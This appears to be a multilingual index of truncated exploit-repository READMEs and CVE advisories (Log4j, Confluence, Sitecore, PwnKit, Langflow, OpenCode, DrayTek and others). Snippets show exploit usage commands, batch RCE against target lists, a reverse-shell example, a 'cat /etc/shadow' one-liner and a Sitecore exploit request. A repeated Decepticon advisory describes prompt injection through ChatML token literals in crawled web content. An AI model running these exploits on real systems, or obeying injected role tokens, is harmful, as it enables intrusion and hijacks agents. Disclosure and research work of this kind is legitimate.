CVE-2025-24893

信息 该 PoC 首先测试 SSTI，如果可行则继续。 它会进入循环，并允许你远程执行命令。 目前 exec 和 shell 命令功能相同。 使用方法 连接 python3 poc.py 示例 将 debug 设置为 False（默认） python3 poc.py http://127.0.0.1:8080 Targeting http://127.0.0.1:8080 + Target is vulnerable! xwiki-shell help Documented commands type help :...

CVE-2021-44521

CVE-2021-44521 PoC automatizado de CVE-2021-44521 Créditos al PoC original: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ Requisitos Cassandra-driver pip3 install cassandra-driver Uso python3 poc.py Ten en cuenta que no puedes...

CVE-2026-21962

CVE-2026-21962 CVE-2026-21962 EXAMPLE 单目标 python3 CVE-2026-21962.py http://target:7001 -c "whoami" 批量 + 默认 whoami python3 CVE-2026-21962.py -f url.txt 批量 + 自定义命令 + 改线程数 python3 CVE-2026-21962.py -f url.txt -c "id" --threads 20 -o result.txt 反弹 shell 示例 python3 CVE-2026-21962.py -f targets.txt -c...

CVE-2026-96659

A flaw was found in Foreman. This vulnerability allows an authenticated user with low-level Viewer permissions to cause unauthorized information disclosure by submitting requests to template preview endpoints. By exploiting this issue, the user can access sensitive data, such as host root...

LongBow

Archer TP-Link VR1600V 路由器本地远程命令执行漏洞利用（CVE-2023-31756） 概述 此 Python 脚本演示了 Archer TP-Link VR1600V V1/V2 路由器中的一个本地远程命令执行漏洞。该漏洞利用程序可获取路由器操作系统级别的管理员访问权限。借助此访问权限，您可以重新启用 OpenVPN 服务器，以及禁用 CWMP 和其他在 Web 门户中被限制的管理任务。 前提条件 在使用此脚本之前，请确保满足以下前提条件： 您的系统已安装 Python 3.x。 拥有 Archer TP-Link V1/V2...

CVE-2023-22527

CVE-2023-22527 Atlassian Confluence 远程代码执行漏洞 CVE-2023-22527 options: -h, --help show this help message and exit -u URL, --url URL Target URL; Example: python .py -u http://ip:port -f FILE, --file FILE Target urllist; Example: python .py -f urllist.txt -c CMD, --cmd CMD Target command; Example:...

CVE-2021-44228

CVE-2021-44228 Log4j2组件命令执行RCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 风险概述 本工具仅限授权安全测试使用,禁止未授权非法攻击站点 在线阅读《中华人民共和国网络安全法》 0x01 工具使用 运行中提示 0x02 注意 本工具调用JNDI注入工具进行漏洞攻击 攻击目标地址请输入完整路径！ 插入参数请输入你认为有可能存在漏洞的参数！ 如果有需要请自己根据需求更改脚本内容！ 转载请标明出处！ 0x03 Bug问题 Bug请提交Issues，有时间会看的。...

CVE-2021-42237

CVE-2021-42237 这是针对 CVE-2021-42237 的漏洞利用/PoC，来源于：Assetnote 报告 免责声明：我与 Assetnote 没有任何关联。此内容仅供教育目的使用。 请确保替换下方 PoC 中的 CMD-COMMAND-HERE 以及 Host： POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1 Host: sitecore.local Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent:...

CVE-2023-6895

python3 CVE-2023-6895.py -u http://target.com -c cmd...

CVE-2026-23010-CCSDS-Telecommand-Replay-Without-Sequence-Number

CVE-2026-23010 – シーケンス番号なしのCCSDSテレコマンドリプレイ プログラムコード（Python衛星シミュレータ） satellitesim.py - Spacecraft that executes telecommands without checking sequence number class Satellite: def initself: self.executed = set def receivetcself, cmdid, seqnum: Vulnerability: ignores seqnum, allowing replay of same...

Decepticon: Role-boundary forgery via ChatML special-token literals in web crawl output composed into LLM context

SummaryDecepticon wraps web crawl results — the output of agent reconnaissance against target services — into LLM messages without neutralizing ChatML special-token literals. Under the BYOK Bring Your Own Key deployment model, users configure their own LLM credentials to any OpenAI-compatible...

Decepticon: Role-boundary forgery via ChatML special-token literals in web crawl output composed into LLM context

SummaryDecepticon wraps web crawl results — the output of agent reconnaissance against target services — into LLM messages without neutralizing ChatML special-token literals. Under the BYOK Bring Your Own Key deployment model, users configure their own LLM credentials to any OpenAI-compatible...

Decepticon: Role-boundary forgery via ChatML special-token literals in web crawl output composed into LLM context

SummaryDecepticon wraps web crawl results — the output of agent reconnaissance against target services — into LLM messages without neutralizing ChatML special-token literals. Under the BYOK Bring Your Own Key deployment model, users configure their own LLM credentials to any OpenAI-compatible...

CVE-2021-4034-NoGCC

CVE-2021-4032-NoGCC 已在以下环境中测试： Ubuntu 20.04.3 LTS Kali 2021.4a CentOS Linux release 7.5.1804 使用方法： 1：交互式 shell ./cve-2021-4034-poc-x64 2：单行命令 ./cve-2021-4034-poc-x64 "cat /etc/shadow"...

CVE-2026-22812-POC

OpenCode CVE-2026-22812 利用工具 用于检查和利用 OpenCode 漏洞（CVE-2026-22812）的简单 Python 工具。 安装 git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse concurrent-log-handler colorama 基本用法 检查单个目标 python rce.py -u http://target:4096 --check 执行命令...

CVE-2026-27966--RCE-in-Langflow

🚀 CVE-2026-27966 - Langflow RCE 漏洞利用工具 CVE-2026-27966 的一体化漏洞利用工具 📋 描述 该工具是 CVE-2026-27966 的一体化漏洞利用工具 ，这是 Langflow 上的一个远程代码执行（RCE）漏洞，允许攻击者远程执行系统命令。 CVSS 评分：9.8（严重） 🔥 使用该工具，您可以： ✅ 通过多线程批量扫描数千个目标 ✅ 自动检测 Langflow 实例 ✅ 使用多种载荷进行 RCE 漏洞利用 ✅ 交互式 Shell 实现完全控制 ✅ 代理支持实现匿名访问 ✅ User-Agent 轮换以规避检测 ⚙️ 完整功能 功能| 描...

CVE-2024-12986

CVE-2024-12986 扫描器与漏洞利用工具 本仓库包含针对 CVE-2024-12986 漏洞的扫描器与漏洞利用工具。该漏洞是 DrayTek 网关设备 apmcfgupptim 端点中的一个命令注入漏洞 。攻击者可利用该漏洞在受影响设备上执行任意命令，可能导致系统完全沦陷。 漏洞概述 该漏洞存在于 DrayTek 网关设备的 apmcfgupptim 端点中。通过构造恶意 HTTP 请求，攻击者可以向 session 参数注入任意命令，从而在目标设备上实现命令执行。 更多详情，请参阅原始披露： Command Injection in apmcfgupptim endpoint...

CVE-2026-22812

CVE-2026-22812 概述 一个针对 OpenCode 远程代码执行（RCE）漏洞的 Python 利用工具，影响版本 v1.0.216。该工具提供多种攻击向量，包括命令执行、文件读写、文件上传/下载以及交互式 Shell。 免责声明 ⚠️ 仅限授权测试使用 ⚠️ 本工具仅用于合法的安全测试和授权的渗透测试 仅可在您拥有或获得明确许可的系统上使用 作者不对因使用本工具造成的任何滥用或损害负责 未经授权访问计算机系统是违法的，将受到法律制裁 功能特性 漏洞检测 ：检查目标是否存在漏洞 命令执行 ：在目标上执行任意命令 文件操作 ：读取、写入、上传和下载文件 交互式 Shell ：支持...

CVE-2026-96659

A flaw in Foreman allows an authenticated user with low-level Viewer permissions to cause unauthorized information disclosure by submitting requests to template preview endpoints. This vulnerability can expose sensitive data, including host root passwords . Additionally, if Safemode protections a...

EUVD-2026-90920

A flaw was found in Foreman. This vulnerability allows an authenticated user with low-level Viewer permissions to cause unauthorized information disclosure by submitting requests to template preview endpoints. By exploiting this issue, the user can access sensitive data, such as host root...